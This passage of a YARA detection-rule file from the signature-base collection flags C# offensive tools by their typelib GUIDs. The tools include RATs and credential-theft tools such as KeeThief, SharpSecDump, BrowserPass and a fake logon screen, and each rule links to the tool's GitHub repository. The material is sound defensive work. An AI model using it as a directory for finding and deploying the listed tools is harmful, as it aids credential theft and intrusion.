		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "384e9647-28a9-4835-8fa7-2472b1acedc0" ascii wide
		$typelibguid1lo = "d7ec0ef5-157c-4533-bbcd-0fe070fbf8d9" ascii wide
		$typelibguid2lo = "10085d98-48b9-42a8-b15b-cb27a243761b" ascii wide
		$typelibguid3lo = "6aacd159-f4e7-4632-bad1-2ae8526a9633" ascii wide
		$typelibguid4lo = "49a6719e-11a8-46e6-ad7a-1db1be9fea37" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Memorymapper : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "c978be10-315c-54e7-afea-f97e9a5f2d18"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/jasondrawdy/MemoryMapper"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3338-L3351"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "691aae2ac0c6dec88c64fd1195f67e34235514037c54ebd1f1ac04d92aa3bbb1"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "b9fbf3ac-05d8-4cd5-9694-b224d4e6c0ea" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Vanillarat : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "9448e8d0-5bfc-5683-b633-284e43d24642"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/DannyTheSloth/VanillaRAT"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3353-L3367"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "7e3dd2e631b06201fa3065ebf10c1bb258839106443228af7f07706530a3070d"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "d0f2ee67-0a50-423d-bfe6-845da892a2db" ascii wide
		$typelibguid1lo = "a593fcd2-c8ab-45f6-9aeb-8ab5e20ab402" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Unmanagedpowershell : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "49ff1362-0ac5-580d-97f3-516f2a10072b"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/leechristensen/UnmanagedPowerShell"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3369-L3382"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "027b0dcbbacaafe6709e18a29b0c001f17f14128648cb64afdcf946804aa8796"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "dfc4eebb-7384-4db5-9bad-257203029bd9" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Quasar : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "b938cf7d-27fd-5fa2-b0e5-d4da5670f3ef"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/quasar/Quasar"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3384-L3398"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "51eed0545b985c20db7aae64251a0e7513cb352f2ff76f64d7697d2767f95db2"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "cfda6d2e-8ab3-4349-b89a-33e1f0dab32b" ascii wide
		$typelibguid1lo = "c7c363ba-e5b6-4e18-9224-39bc8da73172" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpadidnsdump : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "51d50b22-4e73-5378-9e0d-ad7730987293"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/b4rtik/SharpAdidnsdump"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3400-L3413"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "edda1bb7a0a1702941fa35b38120f7e9ae64b6188a47e63a0939a864980b6281"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "cdb02bc2-5f62-4c8a-af69-acc3ab82e741" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Dotnettojscript : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "31827074-fc63-5690-b6c7-8e89daacc07f"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/tyranid/DotNetToJScript"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3415-L3428"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "07f220695607b5aa6cda9045c3bc1e434828cb5835154710969666482dbe09c4"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "7e3f231c-0d0b-4025-812c-0ef099404861" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Inferno : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "af2d9832-c7f9-5879-a19b-a3c4d91b8b3f"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/LimerBoy/Inferno"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3430-L3443"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "6e286b28bdc490d16892926ba95227d39aebb151067896e740d497024c526c0e"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "26d498f7-37ae-476c-97b0-3761e3a919f0" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpsearch : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "459d8a34-f311-5459-8257-e7aa519174b5"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/djhohnstein/SharpSearch"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3445-L3458"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "1a383fd8e4ec8fa9f1fbc01bdeb3d5b1e32ec825a24c1eaad6c42e86ac682530"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "98fee742-8410-4f20-8b2d-d7d789ab003d" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpsecdump : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "492dfb79-541a-589d-ac69-468e9b2ab9db"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/G0ldenGunSec/SharpSecDump"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3460-L3473"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "749130efbcdbd068bf4711cc5e4960eb97a3ae2ddadde2beb0ff707429495484"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "e2fdd6cc-9886-456c-9021-ee2c47cf67b7" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Net_Gpppassword : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "a718f9fc-acf5-536e-81d6-d393cebe8f77"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/outflanknl/Net-GPPPassword"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3475-L3488"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "46ae3156e5428c40278b124b7206b68922f955a297077df3288722c154d09fba"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "00fcf72c-d148-4dd0-9ca4-0181c4bd55c3" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Filesearcher : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "1b5f1f68-f87b-5e60-94a4-e2556b4e6c5d"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/NVISO-BE/FileSearcher"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3490-L3503"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b72d3a7104ca7718d3d490149483a5d2d30790fb6d2b00b10c69da43c491e577"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "2c879479-5027-4ce9-aaac-084db0e6d630" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Adfsdump : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "8cb2edcd-3696-5857-90ca-e99b1af54320"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/fireeye/ADFSDump"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3505-L3518"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "3735495d2c3a0b6f9de278014d5450f3d2e78dda9c04ede614550c75a05b43d2"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "9ee27d63-6ac9-4037-860b-44e91bae7f0d" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharprdp : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "d316ec0b-0313-52bb-923d-512fa08112f9"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/0xthirteen/SharpRDP"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3520-L3533"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "96a5d82e8d03b6242d69cbd5bca2fcc3d4403e7a51099a37dcf9091a0bd53b6e"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "f1df1d0f-ff86-4106-97a8-f95aaf525c54" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpcall : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "172415b6-0383-5da4-a88f-8ebe5daf9294"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/jhalon/SharpCall"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3535-L3548"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "4b4a8943e4fc07f41ce87d64266fd56af9912832b688f21769f4fe5a8152703b"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "c1b0a923-0f17-4bc8-ba0f-c87aff43e799" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Ysoserial_Net : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "80483cd4-76e6-5629-bed7-4ae2e455222c"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/pwntester/ysoserial.net"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3550-L3564"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "7d775864610e2e60faa3570746aa7a689bd719b02c3a47f43a2be097e4a81c5a"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "e1e8c029-f7cd-4bd1-952e-e819b41520f0" ascii wide
		$typelibguid1lo = "6b40fde7-14ea-4f57-8b7b-cc2eb4a25e6c" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Managedinjection : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "c66e7666-b54f-532d-90e1-870292047aec"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/malcomvetter/ManagedInjection"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3566-L3581"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "eac722f30fea497f98d75293514e0f6f4dd17263c7377211605b1ab2f13ddf2f"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "e5182bff-9562-40ff-b864-5a6b30c3b13b" ascii wide
		$typelibguid1lo = "fdedde0d-e095-41c9-93fb-c2219ada55b1" ascii wide
		$typelibguid2lo = "0dd00561-affc-4066-8c48-ce950788c3c8" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpsocks : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "343061d9-e24e-5d49-939f-b94c295b17ac"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/nettitude/SharpSocks"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3583-L3597"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "477adf09ee9d04888ee5e352c11e95f855c433588771138ebb5970cae7aa044f"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "2f43992e-5703-4420-ad0b-17cb7d89c956" ascii wide
		$typelibguid1lo = "86d10a34-c374-4de4-8e12-490e5e65ddff" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharp_Wmiexec : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "ae08a5a2-06d5-55fe-803a-7f4696220904"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/checkymander/Sharp-WMIExec"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3599-L3612"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "df683be102decfc65209195d0d2e640985dd7e7cf040fb074fb10c8749e98614"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "0a63b0a1-7d1a-4b84-81c3-bbbfe9913029" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Keethief : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "71fef0e9-223a-5834-9d1c-f3fb8b66a809"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/GhostPack/KeeThief"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3614-L3632"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "f91aeb1862b803ae44c398a71e6c6ed0017d28206deffa39e4e0bca8faae6701"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid1lo = "39aa6f93-a1c9-497f-bad2-cc42a61d5710" ascii wide
		$typelibguid3lo = "3fca8012-3bad-41e4-91f4-534aa9a44f96" ascii wide
		$typelibguid4lo = "ea92f1e6-3f34-48f8-8b0a-f2bbc19220ef" ascii wide
		$typelibguid5lo = "c23b51c4-2475-4fc6-9b3a-27d0a2b99b0f" ascii wide
		$typelibguid7lo = "80ba63a4-7d41-40e9-a722-6dd58b28bf7e" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Fakelogonscreen : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "cc20290c-3f34-5e81-9337-c582f1ee7ade"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/bitsadmin/fakelogonscreen"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3634-L3647"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "93353997e52fda3cebb03c2c63afc16ea477d3d5d4a7cf8dee26940ccffecd7a"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "d35a55bd-3189-498b-b72f-dc798172e505" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Poshsecframework : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "a91620f3-3f21-525a-bc87-94d21cd126be"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/PoshSec/PoshSecFramework"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3649-L3663"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "6af81da2f23a0ad87d918e4ecb5869e8113b03e175c114e553856c4eabfacb71"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "b1ac6aa0-2f1a-4696-bf4b-0e41cf2f4b6b" ascii wide
		$typelibguid1lo = "78bfcfc2-ef1c-4514-bce6-934b251666d2" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpattack : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "1eb911ab-3fb9-54b7-8afb-66328f30d563"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/jaredhaight/SharpAttack"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3665-L3678"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "eb2f706a8f91c0702472663d5c5672b0e0a9afa775668706377899b36bdb684c"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "5f0ceca3-5997-406c-adf5-6c7fbb6cba17" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Altman : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "21acc8af-9497-5842-90a9-7a9300585d5d"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/keepwn/Altman"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3680-L3710"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "4d7046ac7a0deebb33a33995f4c2b9c6b65d4821262d55aecd8e00379ba93b00"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$typelibguid0lo = "64cdcd2b-7356-4079-af78-e22210e66154" ascii wide
		$typelibguid1lo = "f1dee29d-ca98-46ea-9d13-93ae1fda96e1" ascii wide
		$typelibguid2lo = "33568320-56e8-4abb-83f8-548e8d6adac2" ascii wide
		$typelibguid3lo = "470ec930-70a3-4d71-b4ff-860fcb900e85" ascii wide
		$typelibguid4lo = "9514574d-6819-44f2-affa-6158ac1143b3" ascii wide
		$typelibguid5lo = "0f3a9c4f-0b11-4373-a0a6-3a6de814e891" ascii wide
		$typelibguid6lo = "9624b72e-9702-4d78-995b-164254328151" ascii wide
		$typelibguid7lo = "faae59a8-55fc-48b1-a9b5-b1759c9c1010" ascii wide
		$typelibguid8lo = "37af4988-f6f2-4f0c-aa2b-5b24f7ed3bf3" ascii wide
		$typelibguid9lo = "c82aa2fe-3332-441f-965e-6b653e088abf" ascii wide
		$typelibguid10lo = "6e531f6c-2c89-447f-8464-aaa96dbcdfff" ascii wide
		$typelibguid11lo = "231987a1-ea32-4087-8963-2322338f16f6" ascii wide
		$typelibguid12lo = "7da0d93a-a0ae-41a5-9389-42eff85bb064" ascii wide
		$typelibguid13lo = "a729f9cc-edc2-4785-9a7d-7b81bb12484c" ascii wide
		$typelibguid14lo = "55a1fd43-d23e-4d72-aadb-bbd1340a6913" ascii wide
		$typelibguid15lo = "d43f240d-e7f5-43c5-9b51-d156dc7ea221" ascii wide
		$typelibguid16lo = "c2e6c1a0-93b1-4bbc-98e6-8e2b3145db8e" ascii wide
		$typelibguid17lo = "714ae6f3-0d03-4023-b753-fed6a31d95c7" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule SIGNATURE_BASE_HKTL_NET_GUID_Browserpass : FILE
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		author = "Arnim Rupp (https://github.com/ruppde)"
		id = "bad36c36-dbed-527c-a2f5-4dceff1abe4b"
		date = "2020-12-28"
		modified = "2025-08-15"
		reference = "https://github.com/jabiel/BrowserPass"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_guids.yar#L3712-L3725"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "ce5f5eaa71fd7358d99743e56a8518c1a852faa39c4a7d1888e0a218e9e7a8ef"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
